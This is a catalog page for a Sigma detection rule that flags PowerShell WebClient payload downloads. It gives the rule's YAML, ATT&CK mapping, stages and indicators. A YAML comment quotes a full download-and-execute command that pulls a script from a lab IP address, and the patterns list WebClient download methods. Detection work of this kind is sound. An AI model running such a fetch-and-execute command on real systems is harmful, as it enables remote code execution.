Payload downloaded via PowerShell

Severity: high
Log source: product windows, category ['ps_module', 'ps_classic_script', 'ps_script']
Author: mdecrevoisier
Source: github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker download a payload using PowerShell.

MITRE ATT&CK coverage

Tactic	Techniques
Execution	`T1059.001` Command and Scripting Interpreter: PowerShell
Command & Control	`T1105` Ingress Tool Transfer

Event coverage

Provider	Event	Title
PowerShell	Event ID 4103	Payload Context: ContextInfo User Data: UserData.
PowerShell	Event ID 4104	Creating Scriptblock text (MessageNumber of MessageTotal).
PowerShell	Event ID 800	Event ID 800

Rule body yaml

title: Payload downloaded via PowerShell
description: Detects scenarios where an attacker download a payload using PowerShell.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0002-Execution/T1059.001-PowerShell
- https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/
- https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters
- https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
- https://unit42.paloaltonetworks.com/mallox-ransomware/
- https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
tags:
- attack.execution
- attack.t1059.001 # Command and Scripting Interpreter: PowerShell 
- attack.command_and_control
- attack.t1105 # Ingress Tool Transfer
author: mdecrevoisier
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # full command: "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
  selection_powershell_native:
    EventID: 800
    EventData|contains: 'WebClient'
    EventData|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    EventData|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_modern:
    EventID: 4103
    Payload|contains: 'WebClient'
    Payload|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    Payload|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains: 'WebClient'
    ScriptBlockText|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    ScriptBlockText|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  condition: selection_powershell_native or selection_powershell_modern or selection_powershell_block
falsepositives:
- Scripts donwloading files
level: high

Stages and Predicates

Stage 0: `condition`

selection_powershell_native or selection_powershell_modern or selection_powershell_block

Stage 1: `selection_powershell_native`

selection_powershell_native:
  EventID: 800
  EventData|contains: 'WebClient'
  EventData|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  EventData|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Stage 2: `selection_powershell_modern`

selection_powershell_modern:
  EventID: 4103
  Payload|contains: 'WebClient'
  Payload|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  Payload|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Stage 3: `selection_powershell_block`

selection_powershell_block:
  EventID: 4104
  ScriptBlockText|contains: 'WebClient'
  ScriptBlockText|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  ScriptBlockText|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

Field	Kind	Values
`EventData`	match	`ftp://` corpus 2 (sigma 2) `http://` corpus 2 (sigma 2) `https://` corpus 2 (sigma 2)
`Payload`	match	`ftp://` corpus 2 (sigma 2) `http://` corpus 2 (sigma 2) `https://` corpus 2 (sigma 2)
`ScriptBlockText`	match	`ftp://` corpus 2 (sigma 2) `http://` corpus 2 (sigma 2) `https://` corpus 2 (sigma 2)

`j` / `k`	Scroll down / up
`d` / `u`	Half-page down / up
`gg` / `G`	Top / bottom
`h` / `l`	History back / forward
`f`	Follow link (`Shift` = new tab)
`/`	Focus search
`?`	Toggle this help
`↑` / `↓`	Navigate search results
`Enter`	Open highlighted result
`Esc`	Close results / dialog

`type:`	`events` / `rules` / `providers`
`vendor:`	`sigma` / `elastic` / `splunk` / `kusto` / `chronicle` (vendor name alone also works: `sigma:`, `kql:`, `secops:`…)
`tactic:`	TA-id, slug, or name: `credential_access`, `TA0006`
`technique:`	technique or sub-technique ID: `T1003`, `T1003.001` (alias `tech:`)
`severity:`	`critical` / `high` / `medium` / `low` / `informational` (alias `sev:`)
`risk_score`	Numeric comparison on the Elastic risk score (0 to 100): `risk_score>50`, `risk_score<=20`, `risk_score=99` (alias `risk`; Elastic rules only)
`stages:`	Rules with exactly N pipeline stages
`correlation:`	`single_event` / `sequence` / `alternatives` / `alternatives_cross_log` / `all_required` / `correlated`
`with:`	Co-occurrence event-id; stacks (`with:4624 with:4769`) to require all, while a comma list in one occurrence (`with:4624,4769`) is an either-or group. Implies multi-event
`like:`	Structural neighbors of a rule slug (equivalents + subsumption stricter / broader): `like:comsvcs_lsass_memory_dump-splunk-sysmon`
`groupby:`	Entity-grouping substring match against `group_by_keys`: `groupby:user`, `groupby:host`
`uses:`	Rules whose predicate tree touches the field (any kind, any value): `uses:CommandLine`
`excludes:`	Rules with top-level `not()` clauses on the field (FP whitelists): `excludes:ParentImage`
`field:` / `value:`	Predicate search; narrows rule cards to those with a matching leaf and drives the indicator tier. Unquoted = substring, wildcards allowed (`value:mimikatz`)
`indicator:`	Shorthand for `field:F value:V`: `indicator:Image=*\powershell.exe`
`kind:`	Filter by predicate kind. Narrows rule cards to those carrying a matching predicate leaf (`vendor:elastic kind:cidr_match`) and drives the indicator tier: `contains` / `starts_with` / `ends_with` / `regex` / `cidr` / `eq` / `in` … (operator aliases `op:`/`match:`)
`has:` / `no:`	`sample`, `field`, `notes`, `refs`, `trace`, `thirdparty`, `rule`, `pattern`, `timewindow`, `threshold`, `newterms`, `sigma`/`elastic`/`splunk`/`kusto`/`chronicle`
`-op:val`	Exclude matches; works on most operators but not `type:`/`like:`/`has:`/`no:` (use `no:<flag>` to exclude a rule flag): `tactic:execution -vendor:splunk`. Standalone `-kind:`/`-field:`/`-value:` drop every rule carrying a matching predicate leaf (`type:rules -kind:is_null`)
`field:"…"` / `value:"…"`	Quoted value = anchored exact match (also allows spaces): `value:"net user"`
`a,b`	Comma = OR inside one operator (`vendor:sigma,elastic`, `severity:high,critical`); repeating a facet merges the same way. `field:`/`value:` never split (literal commas)
`vendors:` / `stage:`	Singular and plural spellings fold to the canonical operator and value: `tactics:` = `tactic:`, `type:event` = `type:events`, `correlation:sequences` = `correlation:sequence`, `has:thresholds` = `has:threshold`
`"quoted phrase"`	Exact-match a multi-word phrase (free text)

Payload downloaded via PowerShell

MITRE ATT&CK coverage

Event coverage

Rule body yaml

Stages and Predicates

Stage 0: `condition`

Stage 1: `selection_powershell_native`

Stage 2: `selection_powershell_modern`

Stage 3: `selection_powershell_block`

Indicators

Keyboard shortcuts

Search operators

Payload downloaded via PowerShell

MITRE ATT&CK coverage

Event coverage

Rule body yaml

Stages and Predicates

Stage 0: condition

Stage 1: selection_powershell_native

Stage 2: selection_powershell_modern

Stage 3: selection_powershell_block

Indicators

Stage 0: `condition`

Stage 1: `selection_powershell_native`

Stage 2: `selection_powershell_modern`

Stage 3: `selection_powershell_block`